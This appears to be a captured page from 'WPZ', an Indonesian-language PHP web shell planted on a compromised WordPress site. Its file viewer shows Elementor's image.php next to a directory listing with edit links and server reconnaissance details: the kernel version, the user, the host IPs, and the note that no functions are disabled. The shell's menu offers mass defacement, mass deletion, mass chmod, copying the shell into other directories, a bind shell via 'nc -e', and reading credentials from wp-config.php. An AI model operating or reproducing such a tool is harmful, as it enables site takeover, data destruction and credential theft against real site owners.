WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / elementor / includes / managers / [dxwrx-rx-r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/wp-content/plugins/elementor/includes/managers/image.php (5.96 KB)
<?php
namespace Elementor;

use Elementor\Core\Common\Modules\Ajax\Module as Ajax;
use Elementor\Core\Editor\Editor;
use Elementor\Core\Utils\Collection;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Elementor images manager.
 *
 * Elementor images manager handler class is responsible for retrieving image
 * details.
 *
 * @since 1.0.0
 */
class Images_Manager {

	/**
	 * Get images details.
	 *
	 * Retrieve details for all the images.
	 *
	 * Fired by `wp_ajax_elementor_get_images_details` action.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function get_images_details() {
		if ( ! $this->verify_request_nonce() ) {
			wp_send_json_error( 'Invalid nonce', 403 );
		}

		// Kept at 200: a non-200 status triggers the editor's error toast for Contributors.
		if ( ! current_user_can( 'publish_posts' ) ) {
			wp_send_json_error( 'Permission denied' );
		}

		// PHPCS - Nonce verified by $this->verify_request_nonce().
		$items = Utils::get_super_global_value( $_POST, 'items' ) ?? []; // phpcs:ignore WordPress.Security.NonceVerification.Missing
		$urls  = [];

		foreach ( (array) $items as $item ) {
			$id = absint( $item['id'] ?? 0 );

			$urls[ $id ] = $this->get_details(
				$id,
				$item['size'],
				$item['is_first_time'],
				current_user_can( 'edit_post', $id )
			);
		}

		wp_send_json_success( $urls );
	}

	private function verify_request_nonce() {
		/** @var Ajax $ajax */
		$ajax = Plugin::$instance->common->get_component( 'ajax' );

		return $ajax->verify_request_nonce();
	}

	/**
	 * Get image details.
	 *
	 * Retrieve single image details.
	 *
	 * Fired by `wp_ajax_elementor_get_image_details` action.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param string       $id            Image attachment ID.
	 * @param string|array $size          Image size. Accepts any valid image
	 *                                    size, or an array of width and height
	 *                                    values in pixels (in that order).
	 * @param string       $is_first_time Set 'true' string to force reloading
	 *                                    all image sizes.
	 * @param bool         $persist_custom_size Whether to record custom sizes in
	 *                                    the attachment metadata.
	 *
	 * @return array URLs with different image sizes.
	 */
	public function get_details( $id, $size, $is_first_time, $persist_custom_size = true ) {
		if ( ! class_exists( 'Group_Control_Image_Size' ) ) {
			require_once ELEMENTOR_PATH . '/includes/controls/groups/image-size.php';
		}

		if ( 'true' === $is_first_time ) {
			$sizes = get_intermediate_image_sizes();
			$sizes[] = 'full';
		} else {
			$sizes = [];
		}

		$sizes[] = $size;
		$urls = [];
		foreach ( $sizes as $size ) {
			if ( 0 === strpos( $size, 'custom_' ) ) {
				preg_match( '/custom_(\d*)x(\d*)/', $size, $matches );

				$matches[1] = (int) $matches[1];
				$matches[2] = (int) $matches[2];

				$instance = [
					'image_size' => 'custom',
					'image_custom_dimension' => [
						'width' => $matches[1],
						'height' => $matches[2],
					],
				];

				$url = Group_Control_Image_Size::get_attachment_image_src( $id, 'image', $instance );

				$thumbs_path = BFITHUMB_UPLOAD_DIR . '/' . basename( $url );

				$image_meta = wp_get_attachment_metadata( $id );

				if ( ! $image_meta ) {
					$urls[ $size ] = null;
					continue;
				}

				// Attach custom image to original.
				$image_meta['sizes'][ 'elementor_' . $size ] = [
					'file' => $thumbs_path,
					'width' => $matches[1],
					'height' => $matches[2],
					'mime-type' => get_post_mime_type( $id ),
				];

				if ( $persist_custom_size ) {
					wp_update_attachment_metadata( $id, $image_meta );
				}

				$urls[ $size ] = $url;
			} else {
				$image_src = wp_get_attachment_image_src( $id, $size );

				$urls[ $size ] = $image_src ? $image_src[0] : null;
			}
		}

		return $urls;
	}

	/**
	 * Get Light-Box Image Attributes
	 *
	 * Used to retrieve an array of image attributes to be used for displaying an image in Elementor's Light Box module.
	 *
	 * @param int $id       The ID of the image.
	 *
	 * @return array An array of image attributes including `title` and `description`.
	 * @since 2.9.0
	 * @access public
	 */
	public function get_lightbox_image_attributes( $id ) {
		$attributes = [];
		$kit = Plugin::$instance->kits_manager->get_active_kit();
		$lightbox_title_src = $kit->get_settings( 'lightbox_title_src' );
		$lightbox_description_src = $kit->get_settings( 'lightbox_description_src' );
		$attachment = get_post( $id );

		if ( $attachment ) {
			$image_data = [
				'alt' => get_post_meta( $attachment->ID, '_wp_attachment_image_alt', true ),
				'caption' => $attachment->post_excerpt,
				'description' => $attachment->post_content,
				'title' => $attachment->post_title,
			];

			if ( $lightbox_title_src && $image_data[ $lightbox_title_src ] ) {
				$attributes['title'] = $image_data[ $lightbox_title_src ];
			}

			if ( $lightbox_description_src && $image_data[ $lightbox_description_src ] ) {
				$attributes['description'] = $image_data[ $lightbox_description_src ];
			}
		}

		return $attributes;
	}

	private function delete_custom_images( $post_id ) {
		$image_meta = wp_get_attachment_metadata( $post_id );
		if ( ! empty( $image_meta ) && ! empty( $image_meta['sizes'] ) ) {
			( new Collection( $image_meta['sizes'] ) )
			->filter( function ( $value, $key ) {
				return ( 0 === strpos( $key, 'elementor_custom_' ) );
			} )
			->pluck( 'file' )
			->each( function ( $path ) {
				$base_dir = wp_get_upload_dir()['basedir'];
				wp_delete_file( $base_dir . '/' . $path );
			} );
		}
	}

	/**
	 * Images manager constructor.
	 *
	 * Initializing Elementor images manager.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function __construct() {
		add_action( 'wp_ajax_elementor_get_images_details', [ $this, 'get_images_details' ] );

		// Delete elementor thumbnail files on deleting its main image.
		add_action( 'delete_attachment', function ( $post_id ) {
			$this->delete_custom_images( $post_id );
		} );
	}
}
namawaktuukuranownerpermaksi
..
controls.php 2026-11-25 08:1032.61 KB 76129f60960:kunden-xw-x--x--
edt
elements.php 2026-11-25 08:1011.84 KB 76129f60960:kunden-xw-x--x--
edt
icons.php 2026-11-25 08:1017.76 KB 76129f60960:kunden-xw-x--x--
edt
image.php 2026-11-25 08:105.96 KB 76129f60960:kunden-xw-x--x--
edt
skins.php 2026-11-25 08:102.32 KB 76129f60960:kunden-xw-x--x--
edt
widgets.php 2026-11-25 08:1018.2 KB 76129f60960:kunden-xw-x--x--
edt
wordpress-widgets.php 2026-11-25 08:102.68 KB 76129f60960:kunden-xw-x--x--
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/wp-content/plugins/elementor/includes/managers
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK